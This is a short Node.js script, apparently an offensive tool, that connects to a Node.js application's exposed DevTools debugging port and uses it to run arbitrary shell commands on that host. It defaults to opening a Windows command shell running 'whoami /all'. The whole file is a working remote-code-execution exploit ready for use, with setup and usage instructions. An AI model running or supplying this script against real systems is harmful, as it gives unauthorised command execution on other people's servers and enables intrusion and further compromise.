node-dev-exec.js

#!/usr/bin/env node

/**
 * Execute shell commands remotely in Node.js apps via the DevTools protocol
 *
 * Setup:
 *   npm install chrome-remote-interface
 *   chmod +x node-dev-exec.js
 * 
 * Usage:
 *   ./node-dev-exec.js <host> <port> [<payload>]
 */

if (process.argv.length < 4 || process.argv.length > 5) {
  console.log(`Usage: ${process.argv[1]} <host> <port> [<payload>]`);
  process.exit(1);
}

let host = process.argv[2];
let port = process.argv[3];
let expression = `process.mainModule.require('child_process').exec(${
    JSON.stringify(process.argv[4] || 'start cmd /k whoami /all' )
  })`;

const CDP = require('chrome-remote-interface');
CDP({ host, port }, async client => {
    client.Runtime.evaluate({ expression });
    client.close();
  });